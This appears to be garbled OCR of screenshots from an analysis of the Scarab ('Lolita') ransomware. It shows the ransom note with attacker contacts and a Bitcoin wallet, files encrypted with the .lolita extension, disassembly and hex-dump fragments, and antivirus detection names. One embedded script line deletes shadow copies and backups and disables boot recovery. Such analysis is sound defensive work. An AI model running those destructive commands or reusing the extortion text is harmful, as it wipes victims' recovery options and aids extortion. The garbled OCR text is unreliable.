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| C:\Users\admin\AppData\Roaming ‘

L e I RIEL cnl 2l BB S8 e 4 b e 5 s

| ™ < | Roaming -
Home Share View

— v N » This PC > Local Disk (C:) » Users > Admin > AppData > Roaming v U | Search Roaming
Name Date modified Type Size
# Quick access
Adobe 10/19/2018 1:32 A File folder
m Desktop
dnSpy 10/19/2018 3:31 PM  File folder
& Downloads . .
Grig Software 10/24/2018 10:59 File folder
(&l Documents Microsoft 11/3/2018 1039 PM  File folder
= Pictures Outline Beta 11/28/2018 6:05 PM  File folder
~ Data (D) Process Hacker 2 10/19/2018 3:11PM  File folder
& Music Telegram Desktop 11/28/2018 6:03 PM  File folder
test WinRAR 10/19/2018 6:14 PM  File folder

B Videos 11/26/20181221  Application 525 KB

>ﬁy¢u&uﬁ?@@;pg\ﬂd\jmwdy@g\oUb)@\@d\w\ﬁwmg
&S sl ol Scarab SR Sl e (pl 5550 53 4 53 LB 4K Ll S3hse o B ey SUB a3
Sl mr (Gl i 53 (1S 50 Sldes 53520 Cled OLL B a5l L ST Ol
Olse L 0F alys el pli oyl ol LS 0L 51 g o35 o sdaliie ot 53 O b
2ol a by pyas spi e ml  SU3 e (il amio 555 » How to restore files. TXT

J».&S& cdalive aslsl



Py
wleUblis yglis gilbliyl yljg ‘ _—

whplele Ublg 5 gUs ¢ lojLu

_\ How to restore files.TXT - Notepad

File Edit Format View Help
Wour files are now encrypted!

Your personal identifier:

pAGARAAAAAAZF tUSHZTJ40AKCART se= JPnGXzJd1WsIy=Upal1bSHloulgzUUX2=SdgubisOmLM2veSgUq122 j2auNZ023L8gCae
fD9b2:Mr3pFOMUWtPpf3taX3:-abanbsfeo8ZhgUzbXpT=CoUUxollBDrBxJmlAKZm2 $PUKhZ $+XFANIZMFnFSUHB+0302iIC JhXHE
kPji+ir4BUtcluturu?2Pizf2i070kwoNiCRE8OLMBNRPiGR+13BKggmSxp2gqB4hllit THSMNIVOSWSeDPsgDT0B= bu+8UWX8LUm
O7LWgK=mBnTS=NT0iHO+6ZKNX0Ok fbdc=BBC8kdGYEAWDFAlERHZD TGe2t012z1 JOWATUVCD1VBiSoP1mBAELLttAT+WGGIZEE3 B
D2+FTSENJX209rMYPTmAg84DX3YYB4DGCAGZzYPACKkgY Qe FKFUSEASZDFWp 1GGmYr = QQr4YY320F=y+BKFfxg99TOCK48T+A+K1RY jO
VOPULWzj808TgIWvdLsn@gXA=sDECEg8Ec TFIAKXEFLbJD31CPoo=jEFRiL1s4HJ=yo25P=-H8mGSj jpD1bpxCAEFZNFXEISut426t
Ry$238walhugi=zUCrZPXRt 2HgcA3dsWBAgS2Y X gl xbO4Ardz=k3N+x4=YoOFw=FuUBSJZT9X0qSPXTTLdp0GeL 1cbeddoNTiao
LHWUtnWGSHDFERTas00He +e T4k hitmgJAUYBNIHR jkeoxcCLXAZ ISGS8UCHaYFPDUBAhUCTIF3DN2tkGTSOUk IgiMlsThuPNoRqu+
PUiBXuHzAeM210Gtxtri4Y1FzczCNBzOYUMnbYiGNrDs

All your files have been encrypted due to a security problem with your PC.

Now you should send us email with your personal identifier.

This email will be as confirmation you are ready to pay for decryption key.

You have to pay for decryption in Bitcoins. The price depends on how fast you write to us.
After payment we will send you the decryption tool that will decrypt all your files.

Contact us using this email address: lolitahelp@cock.li
If you don't get a reply or if the email dies, then contact us using this e-mail: lolitahelp@protonmail.com

Free decryption as guarantee!

Before paying you can send us up to 3 files for free decryption.

The total size of files must be less than SMb (non archived), and files should not contain
valuable information (databases, backups, large excel sheets, etc.).

How to obtain Bitcoins?

% The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click
‘Buy bitcoins’, and select the seller by payment method and price:
https://localbitcoins.com/buy_bitcoins

* Also you can find other places to buy Bitcoins and beginners guide here:
http://www.coindesk.com/information/how-can-i-buy-bitcoins

Attention!
* Do not rename encrypted files.
% Do not try to decrypt your data using third party software, it may cause permanent data loss.
% Decryption of your files with the help of third parties may cause increased price
(they add their fee to our) or you can become a victim of a scam.
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Lolitahelp

tome -

Decoding Files 0.7BTC or tomorrow 1 4BTC (bitcoin) (1PC)
translation at the expense to Bitcoin wallet.

How to obtain Bitcoins

The easiest way to buy bitcoins is LocalBitcoins site. You have to
register, click 'Buy bitcoins', and select the seller by payment method
and price.

https://localbitcoins.com/buy_bitcoins

Also you can find other places to buy Bitcoins and beginners guide here:
http://www coindesk com/information/how-can-i-buy-bitcoins

write to Google how to buy Bitcoin in your country?

in order to guarantee the availability of our key

we can decrypt one file for free

the size of the files <1 mb, doc docx xls xlsx pdf jpg bmp txt file
format

other formats will not be free decryption

after payment we will send a decryption program.

I'm waiting for your decision
Ready to discuss the terms of the deal
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Lolitahelp

tome =

Our bitcoin wallet: 1Pfo3Ly3mYArWSp3uY2QxASyNJDtVemUV

After payment you must send to us transaction ID.

After payment we give you personal decrypt application for your infected device and instruction how to use it.
With decrypt application you can decrypt files on infected device.

Also we will give you little tips for improve your security.

We will be always connected with you if you have any problems with decryption process.

Waiting for payment.

! s S bt s S s p Ly O Gl 2SI 5 Cand s (orlge J kS sl by b

Summary Transactions

Address 1Pfo3Ly3mYArWSp3uY2QxAGyNJDftVemUY No. Transactions 0

Hash 160 f8a901a335d1a58365e498479d9d29c48ae6146e Total Received 0BTC
Final Balance 0BTC

Request Payment Donation Button

Transactions (Oldest First)

No transactions found for this address, it has probably not been used on the network yet.
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| M = | test — O X
Home Share View o
T~ > test v Q| | Search test P
Name Date modified Type Size
3 Quick access .
=] How to restore files. TXT 11/28/2018 7:04 PM  Text Document 3KB
m Desktop =
[] test (1).apklclita 3/12/20151:29PM  LOLITA File 9,288 KB
4+ Downloads - o .
es] aviiolita / / 3 AV AFlle 31,43
) [ ] test (1).avilolit 1/11/2018 6:11 AM  LOLITA 31,434 KB
& Documents [T test (1).bmplolita 6/29/200512:02 A  LOLITA File 737 KB
= Pictures [7 test (1).DAT Iclita 10/31/2015727 A LOLITA File 96,803 KB
~ Data (D) [7 test (1).docxlalita 11/26/2017 10:57 LOLITA File 177 KB
b Music [] test (1) htm.lolita 11/18/2017 718 A LOLITA File 90 KB
test [ ] test (1) htmllolita 2/7/2018 11:11 AM  LOUITA File 3,048 KB
& Videos [ test (1hjpglolita 7/24/2010 11:06 A LOLITA File 374 KB
[7 test (1).mkvlalita 10/22/2017 10:41 LOLITA File 864,500 KB
% OneDrive [ test (1)mp3.lalita 9/27/2017 1201 A LOLITA File 4,485 KB
= This PC [ ] test (1) mpeg.lolita 8/6/2017 9:59PM  LOLITA File 45,741 KB
[] test (1) pdflolita 11/20/2017 11:25 LOLITA File 4,256 KB
¥ Network - . - _ .
[] test (1) pptioclita 11/21/2017 11:42 LOLITA File 579 KB
[ test (1yrarlolita 1/26/2018 9:23 AM  LOLITA File 1KB
[7 test (srtlolita 9/9/2016 6:34PM  LOLITA File 93KB
[ test (M tslolita 11/1/2010 500 PM  LOLITA File 1,015,201
[] test (2).mp3.olita 9/27/2017 1201 A LOLITA File 6,296 KB
[] testmkv.olita 10/1/2018 10:25 PM  LOLITA File 307,219 KB
[] cuusdocxiolita 11/26/2017 10:57 LOLITA File 177 KB
[ ciaihtmiolita 11/18/2017 7:18 A LOLITA File 20 KB
[ crihtmilolita 2/7/2018 11:11 AM  LOLITA File 3,048 KB
[ Ziasijpglolita 7/24/2010 11:06 A LOLITA File 374 KB
23 items =

”b)'“"i ol &)\ﬁf,) éLﬁJiLQ d@‘ 4.) 9 JJ‘OM Ls.)")‘ffj LAJiLQ L;OLAS LJ:.S‘_;G OMLLO 45 )}h}l&.ﬁ

L_j "J-Su—"‘ )‘J-; O.L:J'A) LSLAJ'.’.L% 6}[9— 4.\.3):! JA DL, j‘:” f‘?cb €lJL:..:‘ J.:L‘B C/.w‘ oL UL-P‘ |O||ta

NS 30,y slexe Ly b ol >l s LG 5 ProgramData (ol s a5 53 35 50 gla LB Lz

Lloile Ol 3 1l ol a5

Sl 5 Slasiiin b (5 iy lS S 1312l copdUT sl Sl s Slalie bl

AJS: HKEY_CURRENT_USER\Software\JPRRR
rU: DIELQ

,ldas: o=new ActiveXObject("WScript.Shell");0.Run("cmd.exe /c wbadmin DELETE
SYSTEMSTATEBACKUP -keepVersions:+",+);o0.Run("cmd.exe /c wmic SHADOWCOPY

DELETE", *);0.Run("cmd.exe /c vssadmin Delete Shadows /All /Quiet", *);0.Run("cmd.exe /c bcdedit
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/set {default} recoveryenabled No", *);0.Run("cmd.exe /c bcdedit /set {default} bootstatuspolicy

ignoreallfailures",+);
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Ctext:
.text:
.text:
text:
text:
text:
Ctext:
.text:
.text:
text:
Ctext:
text:
Ctext:
.text:
.text:
text:
Ctext:
text:
Ctext:
Ctext:
.text:
.text:
Ctext:
text:
Ctext:
Ctext:
.text:
.text:
text:
text:
text:
Ctext:
.text:
.text:
text:

!

.text:
.text:
.text:
text:
Ltext:
Ltext:
.text:
.text:
.text:
.text:
Ltext:
.text:
.text:
.text:
.text:
.text:
Ltext:
.text:
.text:
.text:
.text:
.text:
Ltext:

2loy

0O4OYEYHO
OO4O4EYT
OO404EYHS
OO4O4EHE
OO4OHESYH
OO4OHESE
OOY4OYESS
OO4O4ESD
QO404ESE
OO4O4HEGYH
OO4O4EGS
OO4OHESS loc_YHOYHEGY:
OO4OYEGS
OOY4OYETO
OO4O4ETO loc_HOYETO:
OO4OHETO
OO4OHETS
OO4OHETT
OOY4OYETS
OOY4OYETC
OO4O4ETE
OO404ESBD
OO4O4ES1
DO4OHEBZ
OO4OYES3
0OY4OYESS

chip
jnz
push
call
test
jz
push
push
call
mow

mov

byte_439324, ©

short loc_HOYETO

offset ModuleName : "Advapi3z.dll”
ds: GetModuleHandleR

eax, eax

short loc_HOYEES

offset ProcName ; "RegDeleteKeyExA"
eax ; hModule
ds:GetProcAddress

dword_439328, eax

; CODE XREF: sub_404E40+16Tj
byte_439324, 1

; CODE XREF: sub_404E40+7Tj
eax, dword_439328
eax, eax
short loc_HOHESS6
ecx, [esith]
edx, [esi]

0]

ecx

edi

edx

eax ; dword_439328

@OHOUESS ; — === === === === oo

0O404EB6
OO4O4ESE loc_HOYESE:
0O4O4EBE
OO4OHESS
OO4OYEBS
OO4O4EBA
OO404EI0
OO4O4ESD sub_HOHE4HO

mow
push
push
call
retn
endp

; CODE XREF: sub_404E40+37Tj
eax, [esi]
edi : 1lpSubKey
eax ; hKey
ds:RegDeletekeyn

oMoJU.L»‘bewﬁwwbwmf‘ﬁcbr%&bmh6\J.>ﬂ)v\s4xb_;

12,8 o500 1 GLA s Sialed aomio slab plad (al L play g

00401254 loc_HO125Y4:
00401254
00401258
0O401259
0O40125A
0o401262
00401268
0O40126A
0040126C
RO4B1270
0O4012T7T4
00401278
oe4e127C
00401280
00401284
00401288
0O40128C
0040128E
00401290
00401294
00401298
0O40129C
0O4012A0

lea
push
push
mou
call
test
jz
mouv
mouv
mou
mou
mou
mouv
mouv
mouv
test
jnz
mou
mouv
mouv
mouv

jmp

; CODE XREF: sub_4011C0+82Tj
ecx, [esptB8h+mi]
ecx ; lpmi
eax : hMonitor
[esp+TOh+mi.chSize], 28h
ds:EetHonitorInfon
eax, eax
short loc_401244
eax, [esp+B8h+mi.rcllork.left]
ecx, [esp+B8h+mi.rcllork.top]
edx, [esp+B8h+mi.rcllerk.right]
edi, [esp+E8h+mi.rclork.bottom]
[espt68htuar_48.left], eax
[esptEB8htuar_48.top], ecx
[esptE8h+uar_u48.right], edx
[esptE8h+uar_48.bottom], edi
esi, esi
short loc_H012R2
[esp+Be8h+uar_5S8.left], eax
[esptEB8htuar_S8. top], ecx
[esptE8h+uar_58.right], edx
[esptE8h+uar_58.bottom], edi
short loc_H#4012DC
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.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text
.text

el ol oslial LB s Sledbl il s (gl p 3 IS andad s edd jasiie Coend )

: 00O408BEF
: 004086F5
:004086FB
: 004086FC
: 004086FE
: 00408700
: 00408706
: 00408 T70C
: 00408 TOE
;00408714
: 00408715
: 00408717
: 00408718
:0040871D
: 00408724
: 00408726
: 00408728
: 00408 T2E

call ds:CreateToolbarEx

lea ecx, [ebptHode]

push ecx : lpMode
push B : hConsoleHandle
mov esi, eax

call ds:GetConsoleMode

mov edi, [ebp+hObject]

push 24h

lea edx, [ebptvar_5C5C]

push edx

push B

di
Icall SetFileInformationByHandle|

chip [ebptuar_5358], 0

jz short loc_408730

push B : hlind
call ds:Updatellindow

jmp short loc_Y08T736

dew‘avhiabulw\%g)\g)w)j\m&GJALSL@S\QJJM 05 300 43L5l (gl 55 US ankd

loc_H2T7248:

.text:oe42723C

push
push
push
push
call
and
add
cmp
jz
push
call
pop
push
call
neg
shb
neg
dec
cdq
mou
and
mouv
cmp
jnz
call
mou
call
mouv
call
mou
mou

; CODE XREF:
; dwMouveMethod
; int
; int
: int

ebx
[ebptarg_8]
[ebptarg_4]
[ebp+arg_0]
__lseekiG4_nolock
eax, edx

esp, 10h

eax, OFFFFFFFFh
loc_4271A9
[ebptarg_0]
__get_osfhandle
ecx

eax
ds:SetEndOfFile
eax

eax, eax

eax

eax

[ebptvar_10], eax
eax, edx
[ebptuar_C], edx
eax, OFFFFFFFFh
short loc_4272B3
__errno

chsize_nolock+121Tj

; int

: hFile

dword ptr [eax]., ODh

___doserrno

esi, eax
ds:GetLastError
[esi], eax

esi, [ebptvar_10]

Jeb o Il Cnb k)N i aS i 4 gme a0l Wl el b oddsa, B €50l i )2 b

‘5.) 4~....1Lia @l_?.' 4_6‘.)‘ )J g:,_w‘ ol UL&‘ C,.:Lo\/\q )‘J.E.d ‘J.:.ﬁ J{.b J.Q 6[.@;.1‘ ‘L’ C,.w‘ ol LS)‘KJ‘AJ
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5 Hex Editor Neo

File Edit View Select Operations Bookmarks NTFS Streams Tools History Window Help

DR-PERE YEFEER L 2P B i @ dhihHiss s

AP [ test (1).pdfbin X <[ [ test (.pdflolitabin - X|

Q0000000 00 01 02 03 04 05 06 07 08 0% Oa Ob Oc 0d Oe Of 7‘ Q0000000 do 01 02 03 04 05 06 07 08 0% Oa 0b 0Oc 0d 0Oe 0Of
00000000 -50 44 46 2d 31 2e 34 0a 25 cO0 c8 cc d2 0d Qa IPDF—: Q0000000 -40 00 00 00 00 00 00 b4 c2 4b d4 dl cc 28 10
00000010 31 20 30 20 &f 62 €a Oa 3c 3c Oa 2f 54 69 74 &c 10 of 00000010 dl Tc 35 bl 57 06 Sb %a f4 Sa 60 £f5 ad la c7 66
Q00go0z0 €5 20 28 30 34 62 2d &9 6d €61 €7 €5 50 72 &f €3 e (041 Q0000020 27 fb 91 cc a% Tl 93 86 53 49 €3 25 34 Sb ag coO
00000030 65 73 73 69 6&e &7 2d 48 69 73 74 6f &7 72 61 &d easim 00000030 Tc 52 f4 e0 cl £5 c6 1% 24 dl dd ab cd 4f 82 f4
00000040 42 61 73 65 €4 49 € T4 65 62 63 €9 T4 79 45 €e Based: 00000040 €2 20 bd a3 fé fc 77 Oa 2f 31 64 08 52 8f 97 38
00000050 63 61 6e 63 65 6d €5 6e 74 2e 70 70 74 78 29 0a hancer 00000050 19 b3 la 62 64 10 cB 89 82 8 4b ec d4 c0 €2 ae
00000060 2f 41 75 74 €8 &€f T2 20 28 6d 65 29 0a 2f 43 72 SRutho 00000060 €2 eb 99 Gc ed4 54 23 64 8b 87 1f €7 ef 81 €€ cb
Q0000070 €5 €1 74 &f 72 20 28 70 64 66 46 €1 63 74 &f 72 eator Q0000070 71 #f a6 dc 5Se 4a 6c 05 52 4a Of ee 3c 44 £0 &0
00000030 79 20 50 72 &f 20 77 77 77 2 70 64 66 66 61 €3 ¥ Pro 00000080 63 77 61 c3 33 8a 78 63 lc cc =d 28 dl S0 8f Ta
Q0000090 74 6f T2 79 2e €3 €f ed 2% 0a 2£ S0 72 €f €4 75 TOEY.( Q00000s0 96 9d af €64 ac 37 ec 99 S0 ££ 11 97 3a 79 2e bé
000000&a0 63 65 72 20 28 70 €4 66 46 61 63 74 6f 72 79 20 cer (1 000000a0 dd4 4c 0d £f dd ae e3 12 05 77 d7 bc bc 7 fe bl
Q00000k0 S0 72 €f 20 34 2e 31 30 20 Sc 28 57 69 €2 €4 €f Pro 4. Q0000020 b7 lc £2 3c fd ad éc ee 44 1d 98 a4 €f 03 25 aa
000000c0 77 73 20 4= 54 20 78 36 34 20 36 2e 30 32 5c 2% wa NT 0000000 37 b8 1f ec 63 8e 09 22 de 81 cc 82 75 50 a3 Te
000doodo 29 0a 2f 43 72 65 €1 74 69 6f 6e 44 61 T4 65 20 ) -/fCrxe a00000do 10 84 82 af d4 a% cl 20 80 lc cc 45 81 14 24 42
0000000 28 44 3a 32 30 31 35 30 35 32 31 31 32 31 30 34 {D=20 00000020 a5 Se c3 4a af 87 96 6f 98 30 99 ac f£f1 42 22 a3
000000£0 34 2d 30 37 27 30 30 27 29 Da 3e 3= O0Oa 65 62 64 4-07"1 000000£0 34 db 57 35 83 03 dé ec ce a2 10 e2 08 dc 01 cl
Qoodolo0 €ef €2 €a Oa 34 20 30 20 6f €2 6a Oa 3c 3c Oa 2f obj.4 ., QooooLoo b8 f 0b 42 8& 0d ae 24 15 Se 1d c8 db Sc £4 &c
< > <

File Comparison

R 08| G| P2 BB

Type Offset (Source) Offset (Dest) Size

Matched 16,408 16,408 4,341,439

55 Hex Editor Neo

File Edit View Select Operations Bookmarks NTFS Streams Tools History Window Help

DR-PRRESYEFEE DL P B te| o= bz s°
A»[[Jtest (N.DATDIn x| 4> [[Ttest (1).DATIolitabin  X|

X
04 05 06 07 02 09 Oa Ob Oc 0d Oe OF 00000000 00 01 02 03 04 05 06 07 08 09 Oa Ob Oc 0d Oe Of
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Ad-Aware
AlYac

Arcabit

AVG
CAT-QuickHeal
Cybereason
Drveb
Endgame
ESET-NOD32
Fortinet

Ikarus
KTAntiVirus
Kaspersky

MAX
McAfee-GW-Edition
MNANO-Antivirus
Panda

Sophos AV
Symantec
Trapmine
TrendMicro-HouseCall

ZoneAlarm

2l R i ]

Trojan.GenerickD.31358848
Trojan.Ransom.Scarab
Trojan.Generic.D1DETFE0
Win32:Malware-gen
Trojan.Pulobe
malicious.473ec2
Trojan.Encoder.28375
malicious (high confidence)

a variant of Win32/Kryptik. GMX|
W32/GenKryptik. CQSJ!tr
Trojan.win32.Krypt

Trojan (005417d91 )
Trojan.win32.Msht.xn

malware (ai score=100)
BehavesLike Win32.Ransom.hc
Trojan.win32.Msht.fklmlku
Tri/CLA

Mal/Generic-5

Trojan.Gen.2
malicious.moderate.mlscora
Ransom_Pulobe RO11CODKK18

Trojan.win32.Msht.xn
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AhnLab-v3
Antiy-AVL
Avast
BitDefender
CrowdStrike Falcon
Cylance
Emsisoft
escan
F-Secure
GData
Jiangmin
K7GW
Malwarebytes
Mcafee
Microsoft
Palo Alto Networks
Qihoo-360
Sophos ML
Tencent
TrendMicro
VBA32

AegisLab

obbPEPPPPPPPPPPPEPDPEPPD

Malware/Win32.Generic C2862100

Trojan,/Win32.Msht

Win32:Malware-gen

Trojan.GenericKD.31358B848

malicicus_confidence 1002

Unsafe

Trojan.GenerickKD.31358848 (B)

[

Trojan.GenerickD.3135884

[

Trojan.GenerickD.3135884

[

Trojan.GenerickD.3135884
Trojan.Msht.q

Trojan (005417491 )
Ransom.Scarab
RDN/Ransom
Ransom:Win32/Pulobe.A
generic.ml
Win32/Trojan.3fa

heuristic

Win32 Trojan.Msht.5ush
Ransom_Pulobe.RO11CODKK18

Trojan.Msht
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Dangerous

Clean

Clean

Clean

Dangerous

Dangerous
Trojan.Gen.2

‘ Clean
Clean

Dangerous
Trojan.Encoder. 26375

Dangerous
a variant of Win32/Kryptik GMXI trojan

‘ Dangerous
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fsecure

kaspersky
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